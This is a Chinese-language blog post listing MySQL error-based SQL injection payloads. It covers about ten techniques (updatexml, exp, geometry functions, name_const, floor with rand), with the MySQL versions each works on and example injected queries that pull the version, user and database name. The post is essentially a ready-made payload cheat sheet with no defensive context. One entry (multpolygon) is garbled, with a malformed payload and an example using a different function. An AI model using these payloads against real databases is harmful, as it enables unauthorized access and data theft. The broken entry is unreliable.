首页 > 数据库 >sql报错注入(使用方式与适用版本)

sql报错注入(使用方式与适用版本)

时间:2023-10-29 11:34:10浏览次数:29  
标签:db 报错 select 版本 sql WHERE SELECT

  1. exp()报错注入
    版本要求:5.5< mysql版本 <5.6
    payload
    and (exp(~(select * from (操作代码) a)))
    
    列子:
    SELECT * FROM db WHERE db='test' and (exp(~(select * from (SELECT VERSION()) a)))
    
  2. GeometryCollection()报错注入
    版本要求:5.5< mysql版本 <5.6
    payload:
    and geometrycollection((select * from(select * from (操作代码)a)b))
    
    例子:
    SELECT * FROM db WHERE db='test' and geometrycollection((select * from(select * from (SELECT VERSION())a)b))
    
  3. UpdateXml()报错注入
    版本要求:截至8.0.13可用
    payload:
    and updatexml(1,concat(0x7e,(操作代码),0x7e),3)
    
    例子:
    SELECT * FROM db WHERE db='test' and updatexml(1,concat(0x7e,(SELECT DATABASE()),0x7e),3)
    
  4. NAME_CONST()报错注入
    版本要求:截至8.0.13可用
    payload:
    and exists(select * from (select * from(select name_const(操作代码,0)) a join (select name_const(操作代码,0)) b)c)
    
    例子:
    SELECT * FROM db WHERE db='test' and exists(select * from (select * from(select name_const(VERSION(),0)) a join (select name_const(VERSION(),0)) b)c)
    
  5. join()报错注入
    • 爆破列名
      版本要求:截至8.0.13可用
      payload:UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b
      例如:
      SELECT * FROM userid WHERE id = '1' UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b
  6. linestring()报错注入
    版本:5.5< mysql版本 <5.6
    and linestring((select * from(select * from(select user())a)b));
    
    例:
    SELECT * FROM db WHERE db='test' and linestring((select * from(select * from(select user())a)b));
    
  7. multilinestring()报错注入
    版本:5.5< mysql版本 <5.6
    and multilinestring((select * from(select * from(select VERSION())a)b));
    
    列:
    SELECT * FROM db WHERE db='test' and multilinestring((select * from(select * from(select VERSION())a)b));
    
  8. multpolygon()报错注入
    版本:5.5< mysql版本 <5.6
    payload:and multpolygon (()select * from(selectuser () )a)b );
    
    例:
    SELECT * FROM db WHERE db='test' and multipoint((select * from(select * from(select VERSION())a)b));
    
  9. polygon ()报错注入
    版本:5.5< mysql版本 <5.6
    and polygon((select * from(select * from(select VERSION())a)b));
    
    例:
    SELECT * FROM db WHERE db='test' and polygon((select * from(select * from(select VERSION())a)b));
    
  10. floor()报错注入
    • 第一种(常用)
      and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a);
      
      例:
      SELECT * FROM category WHERE cat_id = 1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
      
    • 第二种(薛定谔的猫版本,不常用)
      union select count(*), concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;
      
      例:
      SELECT * FROM category WHERE cat_id = 1 union select count(*), concat((SELECT VERSION()), floor(rand()*2)) as a from information_schema.tables group by a;
      

参考文章
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

标签:db,报错,select,版本,sql,WHERE,SELECT
From: https://www.cnblogs.com/lovesaber157/p/17795657.html

相关文章

  • Sqli-labs靶场搭建教程
    sqli-labs靶场环境搭建1.官网下载靶场的压缩文件2.下载phpstudyWindows版phpstudy下载-小皮面板(phpstudy)(xp.cn)3.打开phpstudy的根目录,把下载好的压缩文件解压到相应的根目录下4.修改sql-connections中的db-creds.inc文件中的数据库密码5.启动apache和mysql......
  • # yyds干货盘点 # 导入的xls文件,数字和日期都是文本格式,到df3都正常,但df4报错,什么原因
    大家好,我是皮皮。一、前言前几天在Python最强王者交流群【斌】问了一个Pandas数据处理的问题,一起来看看吧。我之前用过xls,现在练习pandas:目前导入的xls文件,数字和日期都是文本格式,到df3都正常,但df4报错,df4是算加权平均。下图是报错截图:二、实现过程这里我和【黑科技·鼓包】、【瑜......
  • 面试题:MySQL事务的ACID如何实现?
    大家好,我是【码老思】,事务是一个数据库绕不开的话题,今天和大家一起聊聊。事务是什么?事务(Transaction)是并发控制的基本单位。所谓的事务呢,它是一个操作序列,这些操作要么都执行,要么都不执行,它是一个不可分割的工作单位。在介绍事务的特性之前,我们先看下MySQL的逻辑架构,如......
  • 从Mysql架构看一条查询sql的执行过程
    1.通信协议我们的程序或者工具要操作数据库,第一步要做什么事情?跟数据库建立连接。首先,MySQL必须要运行一个服务,监听默认的3306端口。在我们开发系统跟第三方对接的时候,必须要弄清楚的有两件事。第一个就是通信协议,比如我们是用HTTP还是WebService还是TCP?第二个是消息格......
  • 解决使用mitmprox抓包可以访问网页,但是使用python request 调用该网站接口报错问题
    可能有几种原因导致这种情况。以下是一些常见的问题和可能的解决方法:证书验证问题:当你使用mitmproxy抓包时,它通常会生成自签名的SSL证书,以便进行中间人攻击检查。但在Python中使用requests库时,默认情况下,它会验证SSL证书的有效性。你需要禁用SSL验证,以便使用mitmproxy生成的证书......
  • oracle中concat函数与在mysql中的使用
    在Oracle中使用concat函数来做拼接:我们想要得到的效果: 对应的sql语句如下: MySQL的中使用:我们直接使用concat()函数就行 ......
  • PostgreSQL内存管理-内存上下文
    PostgreSQL8.4.1内存管理共享内存中存储着所有进程的公共数据,例如锁变量、进程通信状态、缓冲区等。而本地内存为每个后台进程所专有,是它们的工作区域,存储了该进程的Cache(高速缓存)、事务管理信息、进程信息等。为了防止多个进程并发访问共享内存中数据时产生冲突,PostgreSOL......
  • ELF文件结构分析(x86 gnu版本)
    为了学习使用objdump和size命令,以simple_section.c为例进行分析。编译环境是x86ubuntu,首先编译这个文件。gcc-csimple_section.c命令解释objdump作用:分析二进制文件的内容信息objdump--helpUsage:objdump<option(s)><file(s)>Displayinformationfromobject<fi......
  • ELF文件结构分析(arm gnu版本)
    为了学习使用objdump和size命令,以simple_section.c为例进行分析。编译环境是x86ubuntu下的交叉编译arm指令:首先编译这个文件。arm-none-eabi-gcc-csimple_section.c命令解释objdump作用:分析二进制文件的内容信息arm-none-eabi-objdump--helpUsage:arm-none-eabi-objd......
  • MySQL--视图
    一、视图视图是一个虚拟表,是sql的查询结果,其内容由查询定义。同真实的表一样,视图包含一系列带有名称的列和行数据,在使用视图时动态生成。单表视图的数据变化会影响到基表创建视图:createview视图名as查询语句createviewnewresultasselects.studentNameas姓名,sub.......